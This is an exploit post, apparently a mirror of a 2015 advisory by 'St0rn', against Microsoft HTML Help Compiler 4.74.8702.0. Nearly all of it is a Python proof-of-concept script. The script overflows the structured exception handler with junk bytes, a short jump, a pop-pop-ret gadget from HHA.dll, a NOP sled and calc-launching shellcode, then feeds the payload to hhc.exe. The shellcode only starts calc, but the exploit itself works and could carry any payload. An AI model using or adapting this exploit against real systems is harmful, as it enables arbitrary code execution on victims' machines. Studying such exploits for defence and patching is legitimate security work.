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Microsoft HTML Help Compiler 4.74.8702.0 - SEH Based Overflow
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来源：st0rn[at]anbu-pentest[dot]com 作者：St0rn 发布时间：2015-08-18
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#!/usr/bin/env python
#
# Exploit Title: Microsoft HTML Help Compiler SEH Based Overflow
# Date: 2015-08-13
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en
# Version: 4.74.8702.0
# Tested on: Windows 7
#
from subprocess import Popen
from struct import pack
# 112 bytes All Windows Null-Free CreateProcessA Calc Shellcode
# We have only 189 bytes after SE Handler
# https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
shellcode=""
shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01"
shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75"
shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73"
shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61"
shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53"
shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7"
junk='\x61'*284
nseh='\xeb\x1e\x90\x90' # jump 30 bytes
nop='\x90'*40 # nop
seh=pack("<I", 0x45312d14) # pop ecx # pop ecx # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [HHA.dll]
payload=junk+nseh+seh+nop+shellcode
padding='\x61'*(10000-len(payload))
exploit=payload+padding
try:
Popen(["C:\Program Files\HTML Help Workshop\hhc.exe",exploit],shell=False)
print "Hack'n'Roll"
except:
print "Cannot run hhc.exe"
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